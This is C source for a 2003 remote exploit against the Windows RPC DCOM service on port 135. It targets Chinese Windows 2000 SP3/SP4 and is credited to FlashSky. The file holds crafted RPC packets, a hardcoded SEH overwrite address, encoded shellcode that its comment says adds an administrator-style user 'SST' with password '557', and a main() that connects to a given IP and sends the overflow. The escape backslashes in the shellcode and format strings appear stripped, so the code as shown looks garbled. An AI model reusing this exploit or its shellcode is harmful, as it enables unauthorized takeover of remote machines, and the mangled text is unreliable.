/*
        RPCDCOM2.c  ver1.1
        copy by FLASHSKY flashsky at xfocus.org  2003.9.14
   */
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>

unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};

unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};

unsigned char request3[]={
0x46,0x00,0x43,0x00,0x24,0x00,0x46,0x00,
0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};



unsigned char sccnsp3sp4[]=
    "x6Cx00x6Fx00x63x00x61x00x6Cx00x68x00"
    "x6Fx00x73x00x74x00x5Cx00x43x00x24x00x5Cx00"

    "x58x00xebx3cx46x00x46x00xebx7cx46x00x46x00x38x6e"
    "xebx02xebx05xe8xf9xffxffxffx58x83xc0x1bx8dxa0x01"
    "xebx1exffx83xe4xfcx8bxecx33xc9x66xb9x99x01x80x30"
    "xf6xe0xe0x93xdfxfcxf2xf7xebx06xf1xe1xf2xe1xeaxd2"    

//SHELLCODE From  SAM ,THANKs !
//Add user SST,password is 557,
"xEBx10x5Ax4Ax33xC9x66xB9x4Dx01x80x34x0Ax99xE2xFA"
"xEBx05xE8xEBxFFxFFxFF"

"x70xDAx98x99x99xCCx12x75x18x75x19x99x99x99x12x6D"
"x71x92x98x99x99x10x9Fx66xAFxF1x01x67x13x97x71x3C"
"x99x99x99x10xDFx95x66xAFxF1xE7x41x7BxEAx71x0Fx99"
"x99x99x10xDFx89xFDx38x81x99x99x99x12xD9xA9x14xD9"
"x81x22x99x99x8Ex99x10x81xAAx59xC9xF3xFDxF1xB9xB6"
"xF8xFDxF1xB9xEAxEAxEDxF1xECxEAxFCxEBxF1xF7xFCxED"
"xB9x12x55xC9xC8x66xCFx95xAAx59xC9xF1xB9xACxACxAE"
"xF1xB9xEAxEAxEDxF1xECxEAxFCxEBxF1xF7xFCxEDxB9x12"
"x55xC9xC8x66xCFx95xAAx59xC9xF1xFDxFDx99x99xF1xED"
"xB9xB6xF8xF1xEAxB9xEAxEAxF1xF8xEDxF6xEBxF1xF0xEA"
"xEDxEBxF1xFDxF4xF0xF7xF1xECxE9xB9xF8xF1xF5xFExEB"
"xF6xF1xF5xF6xFAxF8xF1xF7xFCxEDxB9x12x55xC9xC8x66"
"xCFx95xAAx59xC9x66xCFx89xCAxCCxCFxCEx12xF5xBDx81"
"x12xDCxA5x12xCDx9CxE1x9Ax4Cx12xD3x81x12xC3xB9x9A"
"x44x7AxABxD0x12xADx12x9Ax6CxAAx66x65xAAx59x35xA3"
"x5DxEDx9Ex58x56x94x9Ax61x72x6BxA2xE5xBDx8DxECx78"
"x12xC3xBDx9Ax44xFFx12x95xD2x12xC3x85x9Ax44x12x9D"
"x12x9Ax5Cx72x9BxAAx59x12x4CxC6xC7xC4xC2x5Bx9Dx99"
"xCCxCFxFDx38xA9x99x99x99x1Cx59xE1x95x12xD9x95x12"
"xE9x85x34x12xF1x91x72x90x12xD9xADx12x31x21x99x99"
"x99x12x5CxC7xC4x5Bx9Dx99x71x21x67x66x66"

    "x6ex60x38xccx54xd6x93xd7x93x93x93x1axcexafx1axce"
    "xabx1axcexd3x54xd6xbfx92x92x93x93x1exd6xd7xc3xc6"
    "xc2xc2xc2xd2xc2xdaxc2xc2xc5xc2x6cxc4x77x6cxe6xd7"
    "x6cxc4x7bx6cxe6xdbx6cxc4x7bxc0x6cxc4x6bxc3x6cxc4"
    "x7fx19x95xd5x17x53xe6x6a"
    "xc2xc1xc5xc0x6cx41xc9xca"
    "x1ax94xd4xd4xd4xd4x71x7ax50x90x90x90"     //
    "x90x90x90x90x90x90x90x90"
    "x77xe0x43x00x00x10x5cx00"
    "xebx1ex01x00"//     FOR CN SP3/SP4+-MS03-26
    "x4Cx14xecx77"//    TOP SEH FOR cn w2k+SP4,must modify to SEH of your target's os 


//FILL BYTE,so sizeof(UNC)>0X400(0X80*8),why? You can read more form  my artic 
//"Utilization of released heap structure and exploit of universal Heap overflow in windows ".
"xEBx10x5Ax4Ax33xC9x66xB9x90x02x80x34x0Ax99xE2xFA"
"xEBx05xE8xEBxFFxFFxFF"
"xC7x5Fx9DxBDxDDx14xDDxBDxDDxC9x14xDDxBDx9DxC9x14"
"x1DxBDx1Dx99x99x99xC9x14x1DxBDx0Dx99x99x99xC9xAA"
"x59xC9xC9xC9xC9xCAx14x1DxBDx2Dx99x99x99xC9x66xCF"
"x95x14xD5xBDxDDx14x8DxBDxAAx59xC9xF1xACx99xAEx99"
"xF1xB9x99xACx99xF1xEAx99xEDx99xF1xB9x99xEAx99xF1"
"xFCx99xEBx99xF1xECx99xEAx99xF1xEDx99xB9x99xF1xF7"
"x99xFCx99x12x45xC8xCBxC8xCBx14x1DxBDx29x99x99x99"
"xC9x14x1DxBDx59x99x99x99xC9xAAx59xC9xC9xC9xC9xCA"
"x14x1DxBDx79x99x99x99xC9x66xCFx95xC3xC0xAAx59xC9"
"xF1xFDx99xFDx99xF1xB6x99xF8x99xF1xEDx99xB9x99xF1"
"xEAx99xEAx99xF1xEAx99xB9x99xF1xF6x99xEBx99xF1xF8"
"x99xEDx99xF1xEDx99xEBx99xF1xF0x99xEAx99xF1xF0x99"
"xF7x99xF1xFDx99xF4x99xF1xB9x99xF8x99xF1xECx99xE9"
"x99xF1xEBx99xF6x99xF1xF5x99xFEx99xF1xFAx99xF8x99"
"xF1xF5x99xF6x99xF1xEDx99xB9x99xF1xF7x99xFCx99x12"
"x45xC8xCBx14x1DxBDx61x99x99x99xC9x14x1DxBDx91x98"
"x99x99xC9xAAx59xC9xC9xC9xC9xCAx14x1DxBDxB1x98x99"
"x99xC9x66xCFx95xAAx59xC9x66xCFx89xCAxCCxCFxCEx12"
"xF5xBDx81x12xDCxA5x12xCDx9CxE1x9Ax4Cx12xD3x81x12"
"xC3xB9x9Ax44x7AxABxD0x12xADx12x9Ax6CxAAx66x65xAA"
"x59x35xA3x5DxEDx9Ex58x56x94x9Ax61x72x6BxA2xE5xBD"
"x8DxECx78x12xC3xBDx9Ax44xFFx12x95xD2x12xC3x85x9A"
"x44x12x9Dx12x9Ax5Cx72x9BxAAx59x12x4CxC6xC7xC4xC2"
"x5Bx9Dx99xCCxCFxFDx38xA9x99x99x99x1Cx59xE1x95x12"
"xD9x95x12xE9x85x34x12xF1x91x72x90x12xD9xADx12x31"
"x21x99x99x99x12x5CxC7xC4x5Bx9Dx99x71xECx64x66x66"

"x04x04x00x70x00x04x40"
"x00x10x5cx00x78x01x07x00x78x01x07x00xa0x04x00"

"x21x99x99x99x12x5CxC7xC4x5Bx9Dx99x71";


unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};

void main(int argc,char ** argv)
{
    WSADATA WSAData;
    SOCKET sock;
    int len,len1;
    SOCKADDR_IN addr_in;
    short port=135;
    unsigned char buf1[0x1000];
    unsigned char buf2[0x1000];

    printf("RPC DCOM overflow Vulnerability discoveried by NSFOCUSn");
    printf("Code by FlashSky,Flashsky xfocus orgn");
    printf("Welcome to our Site: http://www.xfocus.orgn");
    printf("Welcome to our Site: http://www.venustech.com.cnn");
    if(argc!=2)
    {
        printf("%s targetIP n",argv[0]);
        printf("for cn w2k server sp3/sp4+ms03-26n");
    }
    
    if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
    {
        printf("WSAStartup error.Error:%dn",WSAGetLastError());
        return;
    }

    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(port);
    addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
    
    if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
    {
        printf("Socket failed.Error:%dn",WSAGetLastError());
        return;
    }
    len1=sizeof(request1);
    len=sizeof(sccnsp3sp4);

    if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
    {
        printf("Connect failed.Error:%d",WSAGetLastError());
        return;
    }
    memcpy(buf2,request1,sizeof(request1));
    *(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sccnsp3sp4)/2;  
    *(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sccnsp3sp4)/2;
    memcpy(buf2+len1,request2,sizeof(request2));
    len1=len1+sizeof(request2);
    memcpy(buf2+len1,sccnsp3sp4,sizeof(sccnsp3sp4));
    len1=len1+sizeof(sccnsp3sp4);
    memcpy(buf2+len1,request3,sizeof(request3));
    len1=len1+sizeof(request3);
    memcpy(buf2+len1,request4,sizeof(request4));
    len1=len1+sizeof(request4);
    *(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+len-0xc;

    *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+len-0xc;  
    *(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+len-0xc;
    *(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+len-0xc;
    *(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+len-0xc;
    *(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+len-0xc;
    *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+len-0xc;
    *(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+len-0xc;
    if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
    {
            printf("Send failed.Error:%dn",WSAGetLastError());
            return;
    }
    
    len=recv(sock,buf1,1000,NULL);
    if (send(sock,buf2,len1,0)==SOCKET_ERROR)
    {
            printf("Send failed.Error:%dn",WSAGetLastError());
            return;
    }
//    len=recv(sock,buf1,1024,NULL);
}

/*

*/

// www.Syue.com [2003-09-20]